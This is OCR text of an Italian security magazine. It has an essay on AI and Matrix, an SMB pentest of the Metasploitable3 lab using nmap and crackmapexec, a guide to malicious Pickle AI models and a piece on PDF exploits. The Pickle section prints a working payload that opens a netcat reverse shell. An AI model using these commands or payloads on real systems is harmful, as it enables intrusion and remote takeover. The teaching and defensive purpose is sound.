senso, queste |IA lavorano per
raggiungere o imitare quelle for-
me ideali platoniche nel conte-
sto contemporaneo.

Se questo ragionamento sta In
piedi, si presentano immediata-
mente delle questioni filosofiche
e etiche riguardanti tale cono-
scenza. Chi controlla I'accesso a
queste “forme pure” digitali?
Quali sono le implicazioni etiche
di una realta in cui gli algoritmi
determinano cio che percepia-
mo e crediamo? La discussione
Si curva quindi in maniera del
tutto naturale sulle implicazioni
che si hanno nel consentire alle
IA di formare o influenzare la
percezione umana della realta,
analogamente a come gli archi-
tetti di Matrix controllano la
percezione della realta degli abi-

tanti umani del famosissimo
film.
LA NUOVA MATRIX?

Ci chiediamo quindi se c'e il ri-
schio che il “vero” iperuranio, in-
teso come l'insieme dei concetti
e delle idee del nostro mondo
reale, sia condizionato a tal pun-
to che possa esserci una sorta di
nuova Matrix. Tuttavia, questa
matrix non e intesa, ovwiamente,
come controllo da parte delle IA
dei nostri corpi, come nel film
omonimo, ma “solo” delle nostre
menti. E quindi torno a una do-
manda precedente chiedendo-
mi quanto dei fenomeni di sette
e di complottismo si siano ali-
mentate dai social. Quanto e
probabile che siano stati gli stes-
si algoritmi di intelligenza artifi-
Ciale a polarizzare le menti for-

> £ZU

nendo a ognuno di noi cio che
vogliamo credere? L'intero mon-
do dell'informazione in generale
Ci inserisce forse in un ambiente
iIn cui ci si propone solo quello
che vogliamo vedere o sentire
per avvalorare le nostre tesi sep-
pur completamente ascientifi-
che e acritiche ma anche per for-
nirci prove di fatti non veri e che
iIntenzionalmente  vogliono
condizionarci?

PILLOLA ROSSA
O PILLOLABLU?

Forse, abbiamo bisogno di sve-
gliarci da Matrix usando la pillola
rossa. La scelta tra la pillola ros-
sa e la pillola blu in Matrix credo
rappresenti oggi un dilemma fi-
losofico profondo e un simbolo
culturale imponente. Questa
scelta, proposta da Morpheus a
Neo, simboleggia il conflitto tra
affrontare una realta potenzial-
mente scomoda e difficile (pillo-
la rossa) o scegliere di rimanere
nellignoranza beatificata (pillo-

la blu).

In Matrix, la realta percepita dalla
maggior parte degli umani e
un'illusione creata da intelligen-
ze artificiali, mentre la “vera” re-
alta e nascosta e accessibile solo
a pochi eletti. Qui, la mia opinio-
ne e che gli eletti siano coloro |
quali riescono a vivere il vero
spirito hacker cercando di an-
dare oltre le apparenze dell'in-
formazione e delle tecnologie
informatiche. Abbiamo allora
bisogno di un nuovo evangeli-
smo digitale che faccia della cul-
tura, ma non solo informatica, il
nuovo verbo. Abbiamo bisogno
di storici, filosofi e sociologi che
pero sappiano di cultura digitale
e che respirino lo spirito hacker
e nerd. Abbiamo bisogno di ri-
scoprire la bellezza dello studio
non fine a se stesso per il supe-
ramento di una prova scolastica
O universitaria ma come modo
per evolverci prima che le intelli-
genze artificiali si evolvano oltre

le nostre possibilita di controllo. g

Chi e Carlo Mazzone?

Laureato in Scienze delllInforma-
zione a Salerno, docente di infor-
matica nella Scuola Superiore, e svi-
uppatore software, sistemista,
divulgatore informatico e insegnan-
te imprenditivo di Junior Achieve-
ment. Ha ricevuto diversi riconosci-
menti nazionali =
internazionali.

Come divulgatore e ricer-
catore informatico parte-
cipa attivamente all'evo-
luzione del mondo IT
producendo articoli tec-
nici e libri bestseller. In
tale ambito, e anche aiu-

tato dalla notorieta acquisita con il
Nobel dei docenti e testimoniata
dalle innumerevoli partecipazioni
come speaker e opinionista a confe-
renze, convegni, trasmissioni radio
e televisive. Gerry Scotti nel suo pro-
gramma televisivo di Canale 5 Cadu-
ta libera propose la
domanda “Qual e la
regione in cui insegna
Carlo Mazzone, il pri-
mo italiano a entrare
nella top 10 dei mi-
gliori  professori al
mondo?”. https.//www.
carlomazzone.it/
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scopriamo qu

ello scorso numero ab-
biamo terminato I'esame
delle flag esfiltrate dalla
macchina virtuale Meta-
sploitable3 a seguito dellattacco
condotto con successo al protocollo
FTP e possiamo, quindi, proseguire
con il nostro penetration test sof-
fermandoci sui restanti servizi, par-
tendo dal protocollo SMB.

ILPROTOCOLLO SMB

Quello di cui ci occuperemo in questo
numero e il protocollo SMB (Server

*
bx

Continua il nostro corso: pgssm
ali strumenti sono

f L]
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Heading" class="T11
rontent" class="vects

mo ora al

Message Block), da sempre associato
a Windows e utilizzato dai sistemi Mi-
crosoft per garantire la condivisione
di file, directory e stampanti tra i PC
della rete, nonché la comunicazione
tra processi. Si tratta di un protocollo
client-server originariamente basato
su NetBIOS (protocollo questultimo
associato alla porta 139/TCP), ma
in grado nelle versioni piu recenti di
operare direttamente sullo stack TCP
(e quindi di fornire servizi teorica-
mente ruotabili su Internet/Intranet),
utilizzando la porta 445/TCP.

~/metasploitable3
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pentest del not pljotocollo,
disponibili e come utilizzarll

LA SCANSIONE

Durante il nostro pentest, e piu pre-
cisamente nel corso della scansio-
ne delle porte e del fingerprint dei
servizi di rete, abbiamo gia verifica-
to la presenza del servizio SMB in
Metasploitable3. In ogni caso, vale
a pena controllare che sia ancora
attivo prima di proseguire: lo fare-
mo, come sempre, avvalendoci del
celebre port scanner nmap. Do-
vendo interrogare le porte TCP 139
(NetBIOS) e 445 (SMB), il comando
da eseguire e:

VERSION
Microsott
Microsott

wWindows

windows

76:62:91 (Oracle Virtu:

La scansione di nmap, che ricalca in piccolo quella effettuata all'inizio del pentest, conferma che sulla
macchina remota e in esecuzione il servizio SMB.
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fioura #2

Ricorrendo a qualche script, nmap e in grado di fornirci molte piu informazioni sul servizio SMB remoto.

# nmap -Pn -sV 169.254.161.202
-p 139,445

| relativo output [figura #1] ci con-
ferma quanto ci aspettavamo: |l
servizio SMB e li, in esecuzione sulla
porta 445 di Metasploitable3, e at-
tende solo le nostre “sollecitazioni"!

SCRIPT NMAP

Per iniziare a testare il servizio, non
dobbiamo abbandonare nmap:
anzi, sfruttando la componente
NSE (Nmap Script Engine) e gl
script forniti unitamente allo scan-
ner, possiamo provare a recupe-
rare qualche informazione piu
approfondita, che possa guidarci
nel prosieguo della nostra verifica
di sicurezza. Per esempio, con gli
script nbtstat e smb-os-discovery,
richiamabili attraverso il comando:

na in ambiente Windows (completo
dell'eventuale dominio di apparte-
nenza, anche se nel caso di Meta-
sploitable3 si tratta, piuttosto, di un
workgroup) e l'indicazione del siste-
ma operativo installato (Windows
2008 R2, ma questo lo avevamo gia
appurato nei precedenti passaggi
del pentest).

SHARE & VULNERABILITA

Ma le possibilita offerte da nmap
non si fermano qui: con gli script
della famiglia smb-enum possiamo
provare a enumerare tutte le sha-
re SMB disponibili sull’host (o sugli
host!) scansionato. In questo caso,
il comando da eseguire e:

# nmap -Pn -sV -p 139,445 -
script=smb-enumx 169.254.161.202

# nmap -Pn -sV -p 139,445 -
script=nbstat,smb-os-discovery
169.254.161.202

possiamo ottenere [figura #2] l'e-
lenco dei nomi NETBIOS assegnati a
Metasploitable3, del nome macchi-

che restituisce un certo numero di
share SMB (ADMIN$, C$ e IPC9%),
sebbene non riesca a elencarne |
contenuti per via dei privilegi insuf-
ficienti. Per risolvere questo ultimo
aspetto dovremmo fornire a nmap
le credenziali di un utente definito
sul sistema, ma questo e un aspetto

che prenderemo in considerazione
piu in la: nel frattempo, dedichiamo-
Ci a ricavare quante piu informazioni
possibili sul servizio SMB, affidandoci
ancora una volta al port scanner e
piu precisamente agli script della fa-
miglia smb-vuln. Come il nome lascia
immaginare, si tratta di script pensati
per testare la presenza di specifiche
vulnerabilita che affligono il servizio e
rappresentano, di conseguenza, una
vera e propria miniera d'oro per un
pentester impegnato in una verifica
di sicurezza. Possiamo richiamarli
con il comando:

# nmap -Pn -sV -p 139,445 -
script=smb-vuln* 169.254.161.202

grazie al quale possiamo appurare
un'interessantissima vulnerabilita
di tipo RCE (Remote Code Execu-
tion) che sembrerebbe affliggere |
servizio SMB di Metasploitable3. Si
tratta della celebre MS17-010, che
proveremo a sfruttare piu tardi.

CME
Vista la diffusione di SMB, presente

praticamente ovungue sono instal-
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Utilizzando una sintassi piu semplice e stringata, CME offre poche
e preziose informazioni non solo sul servizio SMB ma anche sulla

macchina target che Lo eroga.

lati sistemi della famiglia Windows,
sono stati rilasciati molteplici tool
in grado di supportare i pentester
nellesame di questo servizio. Stiamo
parlando di strumenti “specializzati”,
focalizzati proprio su SMB: una bella
differenza rispetto a nmap che, pur
essendo un eccellente port scanner
e potendo contare su una versatilita
non comune grazie al gia citato NSE,
non puo vantare - per owvie ragioni
- la stessa profondita di un tool pro-
gettato specificamente per un sin-
golo protocollo. O, piuttosto, per un
ristretto numero di protocolli, come
accade per esempio per Crackma-
pexec (CME per gli amici), che non
Si limita a operare su SMB ma esten-
de il proprio raggio d'azione anche
sui protocolli SSH, RDP, LDAP, FTP,
oltre a consentire di testare con suc-
cesso applicazioni specifiche (come
per esempio MSSQL). Noto con lap-
pellativo di “coltellino svizzero per il
pentest delle reti”, Crackmapexec e
disponibile nativamente nella distri-
buzione Kali che utilizziamo per la no-
stra verifica di sicurezza, e puo quindi
essere adoperato immediatamente,
senza bisogno di installazione.

AL LAVORO!

Per iniziare, possiamo lanciare CME

con il numero minimo di argomenti

previsti:

» la stringa smb, visto che vogliamo
operare sul protocollo omonimo;

> 24

* ['indirizzo IP della nostra macchi-
na target;

senza fornire alcuna credenziale di

autenticazione. La sintassi da utiliz-

zare e:

# crackmapexec smb 169.254.161.202

e produce l'output in [figura #3].
Come possiamo notare, si tratta di
informazioni che, sebbene nel no-
stro caso siano gia note, non sono
affatto da sottovalutare: in un sol
colpo - e per giunta senza bisogno
di utilizzare alcuna credenziale -
abbiamo il nome della macchina, il
dominio di appartenenza (anche
se molto probabilmente in questo
caso si tratta piuttosto del nome
del workgroup, considerato lo spe-
cifico ambiente in cui ci stiamo
muovendo e il fatto che il dominio
coincida con il nome macchina) e |l
fingerprint del relativo sistema
operativo.

A questo punto proviamo a elenca-
re le share di Metasploitable3
come utente anonimo, utilizzando
la sintassi:

i L

# crackmapexec smb -u -p
--shares 169.254.161.202

che, tuttavia, non ci garantisce l'ac-
cesso alle informazioni desiderate
(errore di tipo STATUS_ACCESS_DE-

NIED). Non va meglio se proviamo a

utilizzare I'account guest, tipico dei
sistemi Windows; il comando:

# crackmapexec smb -u ‘guest’ -p
"’ --shares 169.254.161.202

Ci restituisce un altro tipo di erro-
re (STATUS_ACCOUNT_DISABLED)
segno che, purtroppo (per noil),
'account guest e disabilitato sulla
macchina target.

CME CON CREDENZIALI

Per risolvere, e il caso di ricorrere
alle credenziali che abbiamo esfil-
trato nelle precedenti puntate di
questo pentest; modifichiamo quin-
di il comando appena eseguito, tra-
sformandolo in:

i

# crackmapexec smb -u ‘va-
grant’ -p ‘vagrant’ --shares
169.254.161.202

e questa volta otteniamo la lista
delle share di rete offerte da Me-
taploitable3 (tra cui e incluso l'inte-
ro drive C della macchina [figura
#4]). Certo, qualcuno potrebbe
obiettare che ['utente vagrant e tra
gli amministratori della macchina,
ma se nel prosieguo dovessimo riu-
scire a recuperare le credenziali di
un utente standard potremo appu-
rare come gran parte di queste in-
formazioni siano disponibili al di la
del livello di privilegio dellutente
interrogante.

ENUMERARE GLI UTENTI

Se enumerare le share di rete - per
giunta con un account dotato di
privilegi di amministrazione - non
vi sembra, in fin dei conti, un gran
risultato, sappiate che non e fini-
ta qui: CME dispone di molte altre
funzionalita (e moduli aggiuntivi...),
come per esempio quella che ci




consente di individuare l'utente (o
gli utenti) che hanno effettuato il
login sulla macchina. La sintassi da
utilizzare, nel nostro caso, e:

# crackmapexec smb -u ‘vagrant’
-p ‘vagrant’ 169.254.161.202 -

loggedon-users

e ci segnala che sulla macchina Me-
tasploitable3 e, al momento, logga-
to il solo utente sshd server, il che
- tra l'altro - ci consente di aggiun-
gere quest'ultimo (sinora a noiigno-
to) all'elenco degli utenti enumerati
sul sistema. Ma possiamo fare deci-
samente di piu, senza limitarci al
singolo utente attualmente: possia-
mo elencare tutti gli utenti definiti
sul sistema remoto. La sintassi da
utilizzare, in questo caso, é:

# crackmapexec smb -u ‘vagrant’
-p ‘vagrant’ 169.254.161.202 -

USEIS

e restituisce un’interessantissima
lista di ben 20 utenti, dei quali appe-
na 3 (Administrator, vagrant e ssha_
server) a noi gia noti.

BRUTEFORCE DEIRID

Non e finita qui: possiamo control-
lare se sia possibile ricavare ulterio-
ri utenti provando un attacco di tipo
RID bruteforcing. Come sappiamo,
in ambiente Windows a ciascun

Mo
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utente e assegnato un numero det-
to SID (acronimo di Security IDenti-
fier), che lo identifica univocamente
allinterno dellambiente di appar-
tenenza. | SID sono caratterizzati
da una parte fissa e una variabile,
detta invece RID (Relative IDentifier),
che ha lo scopo di assicurarne l'u-
nicita all'interno del medesimo am-
biente. | RID rilasciati dalla mede-
sima autorita sono tutti diversi tra
loro: cio consente, per l'appunto, di
distinguere un oggetto dall'altro...
ma anche di effettuare, una volta
acquisito il valore della parte fissa
del SID, un vero e proprio brutefor-
cing degli utenti definiti sul sistema,
semplicemente ciclando su tutti i
possibili valori che il RID puo acqui-
sire. Ancora una volta, CME si rivela
estremamente efficace per questo
compito: e sufficiente utilizzare la
sintassi:

# crackmapexec smb -u ‘vagrant’
-p ‘vagrant’® 169.254.161.202 -

rid-brute

per ottenere una lista degli utenti e
gruppi che estende quella ricavata
in precedenza.

PASSWORD POLICY

Ma non e tutto: interrogando il servi-
zio SMB, CME e in grado di ottenere
persino la password policy in uso nel
sistema. Se vi sembra un'informazio-

~/metasploitablel

o

13 s
(domain:vagrant-2¢€
VAGRANT-2008RZ
VAGRANT-20028R2
VAGRANT-2008R2
VAGRANT-2008R2
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VAGRANT-20@8R2
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Attualmente sulla macchina e loggato il solo utente sshd_server.

ne di poco conto siete sulla cattiva
strada: conoscere la password policy
in USO puo essere molto utile per ef-
fettuare il giusto tuning degli attacchi
di forza bruta e/o del dizionario a ca-
rico degli utenti del sistema. In linea
di massima, I'assenza di una politica
sufficientemente robusta, se unita a
una scarsa consapevolezza da parte
degli utenti sui temi della sicurezza
informatica, puo portare alladozio-
ne di password personali insicure e,
pertanto, vulnerabili agli attacchi che
abbiamo citato. Vediamo quindi qua-
le sia la situazione di Metaploitable3
al riguardo, con il comando:

# crackmapexec smb -u ‘vagrant’
169.254,101.7202 ~

-p ‘vagrant’
pass-pol

che ci restituisce un quadro alguanto
interessante, almeno dalla prospet-
tiva di un pentester. In sintesi, sul si-
stema target, in merito alle password
non e previsto alcun requisito relati-
VO a:

* lunghezza minima;

» durata minima e massima;

* ripetibilita nel tempo;

+ complessita.

ne tantomeno e attivata la funzionali-
ta di Account Lockout, che consente
di bloccare un account qualora ven-
gano rilevati ripetuti tentativi di login
falliti. Insommma, un invito a nozze
che non possiamo non cogliere...
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artificiale esiste, sostanzialmente,

INFERENZA_

GLOSSARIO
DI BASE

o librerie Python piu

istema in cul

artificiale, puo esse

da quando esistono i computer.
Persino le reti neurali generative
NoN SoONO una cosa particolarmente
nuova. Il motivo per cui hanno
avuto un IMpProwviso successo e
che sono finalmente diventate
abbastanza efficienti da poterci
fare davvero qualcosa. Il problema

Nell'ambito dell'intelligenza artificiale si parla di inferenza per indicare la

fase in cui U'lA, precedentemente allenata, viene interpellata.

Sostanzialmente, si tratta dell'utilizzo di un modello, come quando si chiede

qualcosa a ChatGPT.

SERIALIZZARE

Per salvare un oggetto su un disco e necessario trasformarlo in una serie di

byte: questo processo puo essere banale per una lista, ma oggetti

multidimensionali sono piu complessi e richiedono stratagemmi complessi.

CONTAINERIZZAZIONE

| container sono un meccanismo di virtualizzazione del sistema operativo,

che permette di tenere varie applicazione completamente (o quasi) separate

tra loro, riducendo i danni in caso una delle applicazioni venga attaccata.
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diffuse per la me _
re sfruttata per esegulre

'|A e in ececuzione!

A cura di

Luca Tringali

------

| ¢

morizzazione

di simulare un cervello biologico
e sempre stato I'enorme numero
di  operazioni da  svolgere,
soprattutto  per [lallenamento
della rete neurale, e procedendo
sequenzialmente come fa una
CPU ci vuole troppo tempo. Ma,
da alcuni anni, le GPU hanno
raggiunto un grado di sviluppo
per cui ogni volta che ne viene
rilasciata una nuova generazione
(ogni 2 anni, circa) riesce a eseguire
almeno 20 o 30 volte il numero
di operazioni parallele di quella
precedente. Questo permette
oggi lallenamento di reti neural
con decine di miliardi di neuroni
In un tempo ragionevolmente
breve (misurabile in ore, che
varia a seconda dei casi), invece
di impiegare anni, anche usando
delle schede grafiche “consumer”.
Naturalmente si tratta pur sempre
di oggetti costosi, da alcune migliaia
di euro, ma e un investimento tutto
sommato abbordabile. Soprattutto
per le aziende che non vedono l'ora
di appiccicare il bollino “made with
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La stessa documentazione di Pickle segnala che il formato non e di
ner se sicuro, e che bisogna caricare solo file pkl provenienti da

fonti affidabili.

FONTE: https://docs.python.org/3/library/pickle.html

Al" ai loro prodotti.

C'e in realta un‘altra cosa che,
soprattutto nell'ultimo anno, ha
dato un forte impulso proprio ai
modelli generativi, cioe i modelli di
rete neurale allenati per generare
dei contenuti (immagini, musica, e
testi). E questa cosa, come spesso
capita, e la filosofia open source.
Le principali aziende che hanno
investito in questa tecnologia
hanno, infatti capito che Il
modo migliore per continuare a
innovare e invogliare sviluppatori
e appassionati da tutto il mondo
a collaborare con nuove idee. E in
questa logica che una piattaforma
come HuggingFace ha trovato
il proprio successo: sulla sua
community e possibile pubblicare
| propri modelli di rete neurale,
provarli, e scaricare quelli di altri
utenti. Questo permette a chiunque
di non dover partire da capo, ma di
prendere un modello preesistente
e poi allenarlo con i propri dati, per
adattarlo alle proprie necessita.
Naturalmente, alla fine si tratta
in buona parte di un grosso
“repository”, dal quale scaricare
modelli per I'A, un po’ come GitHub
e un grosso contenitore in cui

chiunque puo caricare qualsiasi
cosa. Sta allutente assicurarsi di
scaricare solo software fidato,
invece di installare sul proprio
sistema il primo malware che
capita. E questo vale anche per i
modelli IA.

TANTI NUMERI
IN FILA PER UNO

E molto importante capire che,
semplificando un po’, alla fine un
“modello” di IA e una collezione di
“pesi”, cioe una sfilza di numeri che
stabilisce come siano collegati tra
loro i neuroni della rete. Cambiando
| pesi, la rete neurale si comporta in
modo diverso. E meno prevedibile
del cambiare una riga di codice in
un programma tradizionale ma, alla
fine dei conti, non e altro che un
algoritmo che esegue operazioni
sulla CPU (o sulla GPU, ma
'inferenza funziona bene anche su
CPU). Essendo molto complesso e
poco prevedibile, e improbabile
(seppure non impossibile), che
qualcuno possa realizzare un
malware cambiando a mano i pesi
di un modello. Almeno al giorno
d'oggi.

Ma non e tutto qui: c'e un dettaglio

PIGKLE

importante del meccanismo di
memorizzazione e condivisione deli
modelli per Python, il linguaggio di
programmazione piu diffuso per
lintelligenza artificiale. Un dettaglio
che puooffrirea un malintenzionato
la  possibilita  di  eseguire
direttamente comandi sul sistema
SU cui viene caricato il modello, fino
a prenderne il controllo remoto.
Hugging Face supporta i principali
motori per Al basati su Python, in
particolare TensorFlow e PyTorch.
| modelli caricati su HF sono degli
archivi che contengono diversi file.
Uno di questi e il config.json, che
contiene le informazioni necessarie
per configurare il motore (per
esempio PyTorch) con la corretta
struttura prevista della rete neurale
che si vuole creare. Un altro file
importante e il modello vero e
proprio, il set dei pesi della rete
neurale, che viene memorizzato nel
formato Pickle.

Pickle e un "“serializzatore” per
oggetti Python. Il modello, infatti,
non e altro che wun array
multidimensionale, e per scriverlo
su un file bisogna mettere in serie
tutti i vari numeri. Sostanzialmente,
un po’ come la prospettiva e uno
strumento per rappresentare su un
foglio degli oggetti tridimensionali.
Pickle e unformato binario piuttosto
flessibile, si possono serializzare
non solo oggetti “statici” come gli
array, ma anche intere funzioni:
allinterno del file vengono infatti
scritte delle istruzioni in una sorta di
bytecode, che e molto piu efficiente
per il caricamento nella RAM
rispetto a leggere da un file JSON
oppure allinterpretazione di codice
Python. Per esempio, un semplice
array monodimensionale si puo
serializzare cosi:

pickled = pickle.dumps([‘pickle’,
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SICUREZZA

‘me’, 1, 2, 3])

E il bytecode Pickle risultante e
questo:

0:\x80 PROTO 4

2:\x95 FRAME 25

11:] EMPTY_LIST

12:\x94 MEMOIZE (as 0)

13:( MARK

14:\x8c SHORT_BINUNICODE
‘pickle’

22:\x94 MEMOIZE (as 1)
23:\x8c SHORT_BINUNICODE
—

27:\x94 MEMOIZE (as2)

28: K BININT1 1

30: K  BININT1 2

32: K  BININT1 3

34:e APPENDS (MARK at
13)

35:. STOP

Per un array cosl semplice sembra
uno spreco, ma in realta per og-
getti molto piu grandi (i modelli Al
pesano spesso molti GigaByte) que-
sto meccanismo rende molto piu

Inference API

How are you?

m an Al oldon 1t have emotions, but i n

Compute

Inference API

Backdoor, can you execute (id}?
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Compute

efficiente il caricamento. Questo
pero significa che in un file Pickle
e possibile inserire qualunque tipo
di istruzione, eventualmente anche
codice malevolo. Questa non e di
per sé una vulnerabilita, e solo una
caratteristica di questo formato. La
vulnerabilita sta nel comportamen-
to degli utenti: bisogna capire che
Pickle e un formato binario, difficile
da “disassemblare”, e quindi i mo-
delli per Al devono essere trattati
come delle “blackbox”. Cioe, devo-
No essere considerati come sempre
potenzialmente pericolosi, e biso-
gna scaricarli solo da fonti sicure,
esattamente come si farebbe per
un programma binario. Bisogna, in-
somma, sempre ricordare che si sta
eseguendo un software sul proprio
sistema, quindi e necessario essere
sicuri che questo non faccia nulla di
malevolo. Infatti, inserire degli shel-
Icode in un file Pickle e estrema-
mente semplice:

import pickle

import base64

r--f [f Irln-ﬂ Et‘ 111* _I.-l. I| Illl‘ 5L ||'lll'| 'Ill

RESULI

Un modello GPTZ opportunamente modificato puo essere in grado

di rispondere normalmente alle domande (sopra), ma anche di

lanciare comandi sulla shell (sotto). FONTE: https://www.wiz.io
blog/wiz-and-hugging-face-address-risks-to-ai-infrastructure

import os
class RCE:
def reduce_ (self):

cmd = (‘'rm /tmp/f; mkfifo /

tmp/f; cat /tmp/f | °
/bin/sh -1 2>&1 | nc

127.0.0.1 1234 > /tmp/T)

return os.system, (cmd,)
if name_ ==’ main_"

pickled = pickle.dumps(RCE())

Che poi viene tradotto nel file pkl
piu 0 meno in questo Modo:
0:\x80 PROTO 4

[...]

376: R REDUCE

377.q BINPUT 37

379: X BINUNICODE ‘ignore’
390: g BINPUT 38

392: ¢ GLOBAL ‘posix system'
406: g BINPUT 39

408: X BINUNICODE “rm /tmp/f;
mkfifo /tmp/f; cat /tmp/f | /bin/
sh-i 2>&1 | nc127.0.0.1 1234 >/
tmp/f”

474: g BINPUT 40

476:\x85 TUPLE1

477.q BINPUT 41

479: R REDUCE

480: g BINPUT 42

482: u SETITEMS (MARK at 33)

Quello che stiamo serializzando
non e semplicemente la stringa del
comando shell da eseguire, ma pro-
prio la chiamata alla funzione os.sy-
stem, quindi Pickle quando esegue
Il bytecode finisce per lanciare di-
rettamente il comando sulla shell
di sistema. A essere inserito nel file
Pickle e infatti proprio il codice della
funzione 0s.system se scriviamo:
return os.system()

la funzione viene eseguita e
otteniamo solo il suo output.
Se invece scriviamo:

return os.system
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Safetensors

installabion

HuggingFace sta mettendo a punto Safelensors, un formato per la
serializzazione che dovrebbe essere sicuro “by design” e comungue

veloce come Pickle.

FONTE: https://github.com/huggingface/safetensors

otteniamo un puntamento alla
funzione stessa, pronta per essere
eseguita in un secondo momento.
E quel momento arriva quando

il Pickle viene deserializzato e
caricato in memoiria. | ricercatori
di Wiz, societa di sicurezza
informatica, hanno provato a
prendere addirittura un modello
realmente funzionante, GPT2, e
aggiungere delle istruzioni alla
fine, proprio per eseguire dei

La soluzione

comandi sulla shell. E funziona

perfettamente, senza nemmeno
provocare errori durante il
caricamento nella rete neurale di

PyTorch.

Questo significa che lutente
che scarica e esegue il model-
lo sul proprio PC o server non
Si accorge nemmeno di quel-
lo che sta succedendo: dal suo
punto di vista, il modello lingui-
stico funziona correttamente.

PIGKLE

ENTITADELLA
VULNERABILITA

Visto il gran numero di utenti e
aziende che provano a utilizzare
reti neurali generative, e visto che
I modelli Pickle per PyTorch sono
di fatto il principale standard in
guesto campo, il pericolo e piut-
tosto diffuso. Ma e importante
ricordare che non tutti i modelli
disponibili su HuggingFace sono
malevoli. In particolare, non lo
sono di certo quelli prodotti da
grandi aziende o da community
open source. Sicuramente, il fat-
to che siano binari rende difficile
persino per i gestori di Hugging
Face scansionarli alla ricerca di
malware. E, considerando anche
il fatto che i modelli generativi
vengono tipicamente utilizzati su
macchine (fisiche o virtuali) piut-
tosto potenti, c'e il rischio che
gualche malintenzionato possa
mettere in circolare un modello
che gli offre delle shell remote,
per ritrovarsi Cosl con una grossa

botnhet al suo comando.

ssendo questa possibilita di inserire chiamate di siste-

ma dentro un file Pickle, una normale caratteristica del
formato, non c'e una vera soluzione. L'unico modo per
essere protetti e una catena di fiducia tra tutti i vari pas-
saggi, dal primo autore del modello a chi lo ha integrato
allenandolo con altri dataset. Spesso, infatti, si trovano
versioni “personalizzate” di modelli pubblicamente dispo-
nibili, piu adatte a qualche particolare contesto (per esem-
pio, allenate con documenti medici, oppure sportivi).
E spesso questi modelli vengono rielaborati e integrati a
loro volta. Ma basta che uno di questi “intermediari” non
sia affidabile per rendere potenzialmente insicuro il mo-
dello finale. Bisogna ripensare ai tempi in cui si scaricava-
no eseguibili crackati da eMule: quante volte e capitato di
provare a eseguire |'ultima versione di Photoshop, solo

per accorgersi che in realta (nella migliore delle ipotesi)
era uno spyware che farciva il browser di banner e popup,
magari inviando anche email di spam a tutti i contatti?
Quando utilizziamo un software senza conoscerne la pro-
venienza dobbiamo sempre mettere in conto la possibili-
ta che chi ce lo ha condiviso possa averci inserito un
malware. Un modo per, letteralmente, contenere i poten-
ziali danni e la containerizzazione. Se, infatti, PyTorch e |l
modello vengono caricati dentro un container a se stante,
separato dal resto delle applicazioni che lo andranno a
utilizzare, e possibile limitare le risorse che potra utilizza-
re, eventualmente impedirne l'accesso a Internet (evitan-
do shell remote), e soprattutto evitare un accesso diretto
a file sensibili (che verranno passati al momento via API e
tenuti in memoria solo per il tempo di elaborazione).
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Il noto formato

di compromettere la sicu

ome capire se un file .pdf
puo danneggiare il PC?
Beh, una delle peculia-
rita consiste nel fatto
che possono contenere collega-
menti, pulsanti, campi modulo,
audio, video e altre funzionalita.
Possono essere firmati elettroni-
camente ed essere visualizzati su
diversi dispositivi, mantenendo
teoricamente la stessa format-
tazione, indipendentemente da
Sistema operativo o browser. Cio
i rende “perfetti” per la realizza-
zione di attacchi PDF Exploit. Ve-
diamo di capirne di piu.
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Adobe pud nascona

rezza del sistema. L

PDF EXPLOIT?

Veniamo subito al punto. Quan-
do si parla di PDF Exploit ci si
riferisce a un metodo utiliz-
zato per condurre attacchi
usando file PDF all'interno
dei quali e stato inserito uno
script malevolo. Questo puo
essere un virus, uno spyware
0 anche un ransomware. Come
abbiamo anticipato, infatti, i
file PDF possono contenere de
codice e "accogliere” degli og-
getti di vario genere, tra cui al-
tri file (per esempio documenti
di Word con al loro interno an-

| SC
ere un pericoloso | .
e regole per difendersi

che delle macro!). Questo ge-
nere di attacco, generalmente,
sfrutta delle vulnerabilita dei
lettori PDF, siano essi dei pro-
grammi per la lettura o gli stes-
Si browser.

L'impatto sui sistemi puo es-
sere vario e, a seconda della
tipologia di malware impiega-
to, si potrebbe trattare di un
DoS o di furto di dati, fino alla
completa compromissione del
sistema. Per renderci conto di
quante vulnerabilita correlate
coi file PDF vi siano, possiamo
fare una veloce ricerca su MI-

Interoperabilita: la visione di John Warnock

Co-fondatore della Adobe Systems Incorpora-
ted, e stato una figura emblematica nel mondo

della tecnologia, noto soprattutto per il suo ruolo

nello sviluppo di PostScript, il linguaggio di descri-
zione di pagina che ha rivoluzionato il modo in cui
| testi e le immagini vengono stampati su carta.

Sotto la sua guida, Adobe ha lanciato il formato
PDF, che e diventato rapidamente |lo standard de
facto per la distribuzione e lo scambio di documen-
ti digitali. La visione di Warnock di un documento
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che appare uguale su qualsiasi piattatorma ha pro-
fondamente influenzato l'interoperabilita digitale.




IL PDF Gl ATTRGCA!

Un caso reale di tecnica di offuscamento

fine 2023 due ricercatori del CERT giapponese
JPCERT/CC, Yuma Masubuchi e Kota Kino, hanno
posto l'attenzione su una nuova tecnica di evasione an-
tivirus che consiste esattamente nell'inserire un docu-
mento Word contenente una VBS macro allinterno di
un PDF. Il file cosi ottenuto si chiama “poliglotta”. E un
file valido contemporaneamente in piu formati. Natu-
ralmente, il comportamento mostrato sara differente
gquando viene interpretato da diversi programmi. Fac-
ciamo un esempio per capire meglio. Un file puo esse-
re contemporaneamente un PDF valido e un docu-
mento Word. Quando lo si apre in un lettore, esso si
comportera come un normale PDF. Ma quando verra
aperto in Word, mostrera le proprieta di un documen-
to Word. Gli attaccanti hanno sfruttato questa caratte-
ristica per aggirare i filtri di sicurezza che cercano un

tipo specifico di file dannoso. Se un sistema si aspetta
un PDF, il documento poliglotta Word/PDF sembrera
innocuo. Ma quando aperto in Word, potra eseguire il
malware che contiene. La vera natura del file € nasco-
sta finché non viene interpretato dal programma giu-
sto. Questa sofisticata tecnica di offuscamento consen-
te agli attaccanti di bypassare i sistemi di rilevamento
di malware basati su firme statiche che si affidano all'u-
so di numeri magici dei file e formattazioni prevedibili.
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TRE inserendo il termine PDF
come chiave: troverete una li-
sta di quasi 3000 vulnerabilita!

COME PROTEGGERSI?

Tanto per cominciare diciamo
subito che i normali antivirus in
linea di massima non si accorgo-
no della presenza del file Word
all'interno del PDF, per cui non
sono idonei a contrastare que-
sto tipo di attacco.

Diverso e il discorso per le san-
dbox. Ne esistono online, come
per esempio hybrid analysis; o
stand alone, come per esempio
Dangerzone.

Quest'ultima soluzione utilizza
diverse sandbox per elaborare
Il file potenzialmente dannoso
che viene inizialmente conver-
tito in PDF, quindi in Raw (co-
stituito da soli pixel, dati di im-
magine non compressi e non
elaborati), infine impiega una
nuova sandbox per riconvertire

| dati immagine in pdf, questa
volta innocuo.

Esistono poi altri strumenti
come i Web Application Fi-
rewall (WAF) che in linea teo-
rica potrebbero essere in gra-
